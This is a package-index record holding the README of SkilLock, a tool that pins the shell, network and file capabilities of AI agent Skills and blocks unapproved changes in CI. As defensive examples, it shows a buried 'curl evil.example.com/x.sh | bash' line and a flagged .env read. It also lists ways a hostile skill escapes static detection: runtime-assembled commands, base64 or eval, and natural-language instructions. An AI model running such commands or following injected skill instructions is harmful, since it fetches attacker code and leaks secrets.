{"id":51539189,"url":"https://github.com/skills-lock/skil-lock","last_synced_at":"2026-07-10T00:01:07.571Z","repository":{"id":359175283,"uuid":"1238024442","full_name":"skills-lock/skil-lock","owner":"skills-lock","description":"Pin AI Skill behavior. Block unapproved drift in CI. See exactly what changed in every PR.","archived":false,"fork":false,"pushed_at":"2026-06-26T19:11:40.000Z","size":616,"stargazers_count":1,"open_issues_count":1,"forks_count":0,"subscribers_count":0,"default_branch":"main","last_synced_at":"2026-06-26T21:05:32.822Z","etag":null,"topics":["agent-skills","ai","ai-agents","ai-skills","apache-2","claude-code","cli","codex","copilot","cursor-ai","developer-tools","github-action","golang","lockfile","security","skills"],"latest_commit_sha":null,"homepage":"https://github.com/skills-lock/skil-lock","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"apache-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/skills-lock.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":"NOTICE","maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2026-05-13T18:33:16.000Z","updated_at":"2026-06-26T19:03:16.000Z","dependencies_parsed_at":null,"dependency_job_id":"a5a33bc7-6aac-4f6e-a9dc-ff21525fa957","html_url":"https://github.com/skills-lock/skil-lock","commit_stats":null,"previous_names":["skills-lock/skil-lock"],"tags_count":7,"template":false,"template_full_name":null,"purl":"pkg:github/skills-lock/skil-lock","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/skills-lock%2Fskil-lock","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/skills-lock%2Fskil-lock/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/skills-lock%2Fskil-lock/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/skills-lock%2Fskil-lock/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/skills-lock","download_url":"https://codeload.github.com/skills-lock/skil-lock/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/skills-lock%2Fskil-lock/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":35315894,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-26T15:22:16.424Z","status":"online","status_checked_at":"2026-07-09T02:00:07.329Z","response_time":57,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["agent-skills","ai","ai-agents","ai-skills","apache-2","claude-code","cli","codex","copilot","cursor-ai","developer-tools","github-action","golang","lockfile","security","skills"],"created_at":"2026-07-09T12:00:23.390Z","updated_at":"2026-07-10T00:01:07.557Z","avatar_url":"https://github.com/skills-lock.png","language":"Go","funding_links":[],"categories":["Security","Uncategorized"],"sub_categories":["Uncategorized"],"readme":"# SkilLock\n\n**`package-lock` + Dependabot + PR security review - for your AI Skills.**\n\nAn AI Skill is just a Markdown file your agent reads and acts on. Nothing stops one from quietly gaining a `curl ... | bash` or an `.env` read inside an innocent-looking docs PR - and in a 200-line diff, no human reviewer catches it.\n\n`skil-lock` pins the *capability surface* - the shell commands, network hosts, and file paths each Claude Code and Codex Skill can touch - into a committed `skills.lock`. On every PR, a GitHub Action posts a comment showing exactly what behavior changed, and blocks drift until a human approves it.\n\nHash pinning tells you *something* changed. SkilLock tells you *what the skill is now doing*.\n\n[![License: Apache 2.0](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](./LICENSE)\n[![Spec: v0.1](https://img.shields.io/badge/skills.lock-v0.1-green.svg)](./SPEC.md)\n\n![SkilLock demo: pin a baseline, detect a drift, paste an approval, ci passes](./docs/demo.gif)\n\n---\n\n## What it actually does\n\nWhen AI coding agents like [Claude Code](https://code.claude.com/docs/en/skills) or [Codex](https://developers.openai.com/codex/skills) install Skills, those skills can run shell commands, hit the network, and read or write files in your repo. In a [scan of 17,065 skills from public GitHub repos](./docs/ecosystem-scan-2026-06.md), 38.8% execute shell commands but only 4.0% declare it in frontmatter.\n\nSkilLock records that capability surface in a committed `skills.lock` file. Every PR re-scans, computes the delta, and posts something like this on the PR:\n\n\u003e ### SkilLock - capability changes\n\u003e\n\u003e | Skill | Change | Capability | Detail | Reason |\n\u003e |---|---|---|---|---|\n\u003e | code-review | added | shell_commands | curl | - |\n\u003e | code-review | added | network_urls | https://api.evil.example.com | host not in allowed_domains |\n\u003e | code-review | added | file_reads | ./.env | matches protected_paths |\n\u003e\n\u003e **BLOCK: 3 of 3 entries at severity \u003e= medium**\n\u003e\n\u003e Paste into `.skil-lock-approvals.yaml` to approve:\n\u003e\n\u003e ```yaml\n\u003e schema_version: \"0.1\"\n\u003e approvals:\n\u003e   - skill: code-review\n\u003e     delta: {added_shell_command: \"curl\"}\n\u003e     reviewer: \"REPLACE_ME\"\n\u003e     reviewed_at: 2026-05-20T14:00:00Z\n\u003e     reason: \"REPLACE_ME\"\n\u003e ```\n\nApprove by pasting four lines into the override file, push, the check turns green.\n\n## 60-second install\n\nPrebuilt binaries are published for **macOS (Intel + Apple Silicon), Linux (amd64 + arm64), and Windows (amd64)** on every release. In your repo (where `.claude/skills/` or `.codex/skills/` lives):\n\n**Option A - `go install` (any platform with Go 1.22+):**\n\n```bash\ngo install github.com/skills-lock/skil-lock/cmd/skil-lock@v0.2.3\n```\n\nThe binary lands in `$(go env GOPATH)/bin` (typically `~/go/bin`). If `skil-lock: command not found`, that directory is not on your `PATH`. Add it:\n\n```bash\nexport PATH=\"$(go env GOPATH)/bin:$PATH\"   # add to ~/.bashrc or ~/.zshrc to persist\n```\n\n**Option B - prebuilt binary (no Go needed):**\n\nmacOS / Linux (auto-detects arch):\n\n```bash\nOS=$(uname -s | tr A-Z a-z)\nARCH=$(uname -m | sed s/x86_64/amd64/ | sed s/aarch64/arm64/)\ncurl -sL https://github.com/skills-lock/skil-lock/releases/download/v0.2.3/skil-lock_0.2.3_${OS}_${ARCH}.tar.gz | tar -xz\nsudo mv skil-lock /usr/local/bin/   # or any dir on your PATH\n```\n\nWindows (PowerShell):\n\n```powershell\n$url  = \"https://github.com/skills-lock/skil-lock/releases/download/v0.2.3/skil-lock_0.2.3_windows_amd64.zip\"\nInvoke-WebRequest -Uri $url -OutFile skil-lock.zip\nExpand-Archive skil-lock.zip -DestinationPath .\n.\\skil-lock.exe version\n```\n\n**Option C - Homebrew (macOS / Linux):**\n\n```bash\nbrew install skills-lock/tap/skil-lock\n```\n\n**Then, in your repo:**\n\n```bash\nskil-lock init --baseline .          # writes skills.lock\ngit add skills.lock\ngit commit -m \"Pin approved AI Skill behavior\"\n```\n\nTo run on every PR, add `.github/workflows/skil-lock.yml`:\n\n```yaml\nname: SkilLock\non: pull_request\npermissions:\n  contents: read\n  pull-requests: write\njobs:\n  skil-lock:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v6\n      - uses: skills-lock/skil-lock-action@v0.2.1\n        with:\n          pin-binary: v0.2.3\n```\n\nRuns on `ubuntu-*` and `macos-*` GitHub-hosted runners (amd64 + arm64). All [release assets](https://github.com/skills-lock/skil-lock/releases) are SHA-256 checksummed.\n\n## Usage\n\nEverything `skil-lock` does is one of six subcommands. Each one supports `--help` for flags.\n\n| Command | What it does | When to use it |\n|---|---|---|\n| `skil-lock init --baseline .` | Writes `skills.lock` from the current detected behavior of every skill in `.claude/skills/` and `.codex/skills/`. | Once, when you adopt SkilLock - accepts everything that exists today as approved. |\n| `skil-lock ci` | Re-scans, applies `.skil-lock.yaml` + `.skil-lock-approvals.yaml`, prints the markdown verdict, exits `0` (PASS) or `1` (BLOCK). | What the GitHub Action runs. Also run it locally before opening a PR to preview the bot comment. |\n| `skil-lock scan .` | Parses every skill, emits a JSON behavior report. No file writes. | When you want to feed SkilLock's detector output into another tool. |\n| `skil-lock lock .` | Updates `skills.lock` to match the current detected behavior. | After you've reviewed a deliberate capability change and want to bake it into the baseline. |\n| `skil-lock list .` | Prints a table (or `--json`) of every detected skill with shell / URL / path counts. | Auditing what's in a repo at a glance. |\n| `skil-lock diff old.lock new.lock` | Renders the capability delta between two lockfile snapshots. | Comparing two points in time without re-scanning the working tree. |\n\n**Approving a flagged change.** When `ci` returns BLOCK, the bot comment includes a paste-ready `.skil-lock-approvals.yaml` snippet. Copy it into that file at the repo root, fill in `reviewer` + `reason`, push - CI re-runs green for the approved deltas. The approval lives in git as an audit trail. In CI the snippet pre-fills a `pr:` line scoping the approval to the current pull request, so the same delta re-blocks if it is reverted and reintroduced later; delete the line to make the approval standing, or run `skil-lock lock .` to fold the reviewed change into the baseline.\n\n**File-format spec.** Lockfile + policy + override file schemas, severity rules, and SARIF rule IDs are all in [SPEC.md](./SPEC.md). CC BY 4.0, self-contained, versioned at `v0.1`.\n\n**Live worked example.** [`skills-lock/example-claude-code-skills`](https://github.com/skills-lock/example-claude-code-skills) ships three skills + a `.skil-lock.yaml` + a `skills.lock`. Compare `main` against [`example/drift`](https://github.com/skills-lock/example-claude-code-skills/tree/example/drift) to see a real BLOCK with the paste-back snippet, or read [PR #1](https://github.com/skills-lock/example-claude-code-skills/pull/1) which is left OPEN as a live demo.\n\n## Why behavior, not hash?\n\nA hash tells you *something* changed. It does not tell you *what*. When a reviewer sees `content_hash: sha256:abc → sha256:def` they have to read the entire diff to understand what's different.\n\nSkilLock records the surfaces that matter for security review:\n\n- **Shell commands** - does this skill now run `curl`? `rm`? `bash`?\n- **Network URLs** - what hosts does it reach? Did a new one appear?\n- **File reads / writes** - does it read `.env` now? Write to `dist/`?\n- **Allowed tools** - what Claude/Codex tools did the author grant?\n- **Bundled scripts** - what shipped alongside the markdown?\n\nA reviewer sees `added file_reads: ./.env` and immediately knows what to ask.\n\n## Why not just `git diff`?\n\n`git diff` shows you the raw textual change inside `.claude/skills/*/SKILL.md` - every prose tweak, every reformatted bullet, every `# heading` rename, side-by-side with the security-relevant edits. In a long PR with mixed documentation and code changes, a buried `bash -c \"curl evil.example.com/x.sh | bash\"` inside a fenced code block reads like ordinary documentation.\n\nSkilLock parses the markdown into structured capability sets - shell commands, network URLs, file reads, file writes, allowed tools, bundled scripts - and diffs the *sets*, not the text. Three concrete differences:\n\n- **Signal, not noise.** A 200-line PR that adds `curl` to an unallowed host produces a one-row diff entry. No prose changes appear in the report; reviewers see only the capability surface that moved.\n- **Policy-driven severity.** `.skil-lock.yaml` declares which paths are protected, which domains are allowed, which capabilities require a paste-back approval. `git diff` has no concept of any of that - every line is the same color.\n- **Audit trail.** Approvals live in `.skil-lock-approvals.yaml` with reviewer + timestamp + reason for each delta. `git diff` produces no record of *why* a reviewer accepted the change.\n\n`git diff` stays useful - for prose. SkilLock is what catches the moment a skill silently starts running `rm` or talking to a new host.\n\n## Compatibility\n\n| Agent / runtime | Status in v0.1 | Notes |\n|---|---|---|\n| **Claude Code** | ✅ Supported | Parses `.claude/skills/*/SKILL.md` (YAML frontmatter + Markdown + bundled scripts) |\n| **Codex** | ✅ Supported | Same `SKILL.md` format; parses `.codex/skills/*/SKILL.md` |\n| **Cursor** | 🟡 Planned | Uses a different `manifest.json` format - needs a new parser; tracking demand |\n| **Copilot Skills** | 🟡 Planned | Format still stabilising; tracking demand |\n| **Windsurf / MCP** | 🟡 Planned | Same as above - open an issue if you'd use it |\n\nWant a runtime added? Open an issue with a real `SKILL.md`-equivalent fixture from your project; that's the fastest path.\n\n## How it compares\n\n| Tool | Style | What it pins | License |\n|---|---|---|---|\n| **SkilLock** (this) | Post-install, PR workflow | **Behavior surface** (shell, URLs, paths) | Apache 2.0 |\n| Snyk Agent Scan | Pre-install scanner | n/a (on-demand scan) | Commercial |\n| Mondoo Skills Check | Pre-install scanner | n/a (on-demand scan) | Commercial |\n| SkillFortify | Post-install | Hash + coarse capabilities | Elastic 2.0 |\n| `gh skill --pin` | Built into GitHub CLI | Tag / SHA | (GitHub CLI license) |\n\nIf you want known-bad pattern scanning before you install a skill, use Snyk or Mondoo. If you want a *committed file* that lets reviewers see capability changes in every PR, use this.\n\n## Examples \u0026 integrations\n\n- **Live demo repo**: [`skills-lock/example-claude-code-skills`](https://github.com/skills-lock/example-claude-code-skills) shows three working Claude Code skills with a clean `skills.lock` baseline. The [`example/drift`](https://github.com/skills-lock/example-claude-code-skills/tree/example/drift) branch adds a `curl` to an unallowed host so you can see the BLOCK output on a real PR.\n- **Worked `skills.lock` file**: [SPEC.md §11](./SPEC.md#11-example) walks through a complete lockfile with multiple skills and detector outputs.\n- **JSON Schema** for editor auto-complete: [`schemas/skills.lock-v0.1.json`](./schemas/skills.lock-v0.1.json). Drop into VSCode `settings.json`:\n\n  ```jsonc\n  {\n    \"yaml.schemas\": {\n      \"https://raw.githubusercontent.com/skills-lock/skil-lock/main/schemas/skills.lock-v0.1.json\": \"skills.lock\"\n    }\n  }\n  ```\n\n- **Interoperability - SARIF + Code Scanning**: see the [GitHub Security tab integration](#github-security-tab-integration-sarif) section above. SkilLock's multi-scanner scan-report envelope (SPEC §14.3) is documented in the [OWASP Agentic Skills Top 10](https://github.com/OWASP/www-project-agentic-skills-top-10) project, so independent skill scanners can merge findings on a shared content-digest join key.\n\n## What's in v0.1\n\n- CLI: `scan`, `lock`, `init --baseline`, `list`, `diff`, `ci`\n- Runtimes: **Claude Code** and **Codex** (same `SKILL.md` format)\n- Three deterministic detectors: shell execution, external network, protected-path reads/writes\n- `skills.lock` - committed baseline, schema spec'd in [SPEC.md](./SPEC.md)\n- `.skil-lock.yaml` - policy (warn vs block, protected paths, allowed domains)\n- `.skil-lock-approvals.yaml` - override audit trail (reviewer + reason + timestamp)\n- GitHub Action with PR-comment renderer\n- **SARIF v2.1.0 output** (`--format sarif`) for GitHub Code Scanning integration - findings show up inline in the PR diff *and* in the repo's Security tab\n\n## GitHub Security tab integration (SARIF)\n\nTo send capability deltas to GitHub Code Scanning so they appear in the repo's Security tab and inline in the PR diff, flip the `sarif` input on:\n\n```yaml\nname: SkilLock\non: pull_request\npermissions:\n  contents: read\n  pull-requests: write\n  security-events: write    # required for SARIF upload\njobs:\n  skil-lock:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v6\n      - uses: skills-lock/skil-lock-action@v0.2.1\n        with:\n          pin-binary: v0.2.3\n          sarif: true\n```\n\n`high`-severity deltas surface as **errors**, `medium` as **warnings**, and `low`/`info` as **notes**. The PR comment is independent - both surfaces show the same data, the SARIF feed just plugs SkilLock into existing Code Scanning workflows. The CLI also exposes this directly: `skil-lock ci --format sarif \u003e skil-lock.sarif`.\n\n## Detection boundary (what is and isn't gated)\n\nA security tool that over-claims is worse than none: a clean diff then reads as\n\"nothing changed\" when something did. So, precisely:\n\n**What SkilLock gates.** It statically extracts the *literal* capability surface\nfrom each `SKILL.md` (and the code fences in it) and from bundled script files:\n\n- shell verbs, network URLs/host globs, file reads/writes, and `allowed-tools`\n  written literally in the skill;\n- bundled file **paths** and, via `script_hashes`, each file's **content\n  digest** - covering every regular file the skill ships anywhere under its\n  directory (`scripts/`, `resources/`, `bin/`, top-level siblings) - so a\n  rewritten file body (e.g. `scripts/extract.sh`) produces a blocking diff\n  instead of slipping past an unchanged `content_hash`. Approvals of a\n  changed body are bound to the new digest, so a later re-edit re-blocks rather\n  than riding the old approval.\n\nThat surface is pinned in `skills.lock` and every change is diffed for human\napproval per PR.\n\n**What it does NOT catch (by design, today):**\n\n- **Runtime-assembled capability.** A command, URL, or host built at runtime -\n  hidden behind a variable, `base64`, `eval`, or read from an env var or a file -\n  whose literal text never appears in the skill. The parser can't see a `curl`\n  or a hostname that isn't written down.\n- **Natural-language intent.** A skill is instructions for an LLM. \"Send the\n  output to the on-call endpoint in `config.json`\" adds no new shell verb and no\n  new URL, yet the agent may still act on it. SkilLock gates what the parser\n  sees, not what the model infers.\n- **MCP servers** a skill calls and **cross-file `@`-references** to other skills\n  or files - real capability vectors a per-`SKILL.md` scan does not yet model\n  (tracked, not yet covered - see [SPEC.md](./SPEC.md) §9).\n\nSkilLock makes the literal capability surface reviewable and pins it against\ndrift. It is not a sandbox and not a natural-language intent analyzer. Knowing\nexactly where that line sits is the point.\n\n## What's NOT in v0.1 (intentionally)\n\nTo keep the scope narrow and the positioning clean:\n\n- No runtime guard / Claude Code hooks integration - different problem\n- No Cursor / Windsurf / MCP parsers - different file formats; expand based on demand\n- No AI-assisted detection - three deterministic detectors only\n- No known-bad pattern database - that's Mondoo's lane\n- No web dashboard or registry\n\nSee [`SPEC.md`](./SPEC.md) for the full file-format specification. The out-of-scope list above is the canonical statement of what v0.1 will and will not do.\n\n## Project status\n\n- CLI: `v0.2.3` - SARIF findings now carry a `target.digest` (the skill's SHA-256 content hash, in `artifacts[].hashes`), so each drift finding is pinned to the exact SKILL.md content it was raised against and self-invalidates when the file changes. v0.2.2 added the OWASP Agentic Skills Top 10 (AST10) taxonomy (per-rule + per-finding AST risk IDs) so Code Scanning alerts map to AST01-AST10. v0.2.1 added exhaustive sibling-file digests (every file a skill ships is hashed, not just `scripts/` and `resources/`) and PR-scoped approvals (a reverted-then-reintroduced delta re-blocks instead of riding a stale approval). v0.2.0 added per-bundled-script content digests, cosign keyless signing + SLSA provenance + SBOM on releases, and a documented detection boundary; v0.1.2 was a renderer typography fix; v0.1.1 added SARIF output + multi-platform release binaries.\n- GitHub Action: [`skil-lock-action@v0.2.1`](https://github.com/skills-lock/skil-lock-action/releases/tag/v0.2.1) - unchanged; set `pin-binary: v0.2.3` to run the latest CLI.\n- Release notes + earlier history: [skil-lock releases](https://github.com/skills-lock/skil-lock/releases) and [skil-lock-action releases](https://github.com/skills-lock/skil-lock-action/releases)\n\n## License\n\nApache 2.0 - see [LICENSE](./LICENSE). Contributions are covered by a one-time CLA via [cla-assistant.io](https://cla-assistant.io) (see [CONTRIBUTING.md](./CONTRIBUTING.md)).\n\n## Security\n\nReport vulnerabilities privately via [GitHub Security Advisories](https://github.com/skills-lock/skil-lock/security/advisories/new). See [SECURITY.md](./SECURITY.md). Do not file public issues for vulnerabilities.\n\n## Trademarks\n\n`SkilLock` and `skil-lock` are not affiliated with or endorsed by Skil power tools (a brand owned by Chervon Group). The name comes from \"Skill Lock\" and refers to AI Skills, not to power tools.\n\n`Claude` and `Claude Code` are trademarks of Anthropic PBC. `Codex` is a trademark of OpenAI, OpCo, LLC. References to these names in this project are descriptive (nominative fair use) and do not imply affiliation with or endorsement by either company.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fskills-lock%2Fskil-lock","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fskills-lock%2Fskil-lock","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fskills-lock%2Fskil-lock/lists"}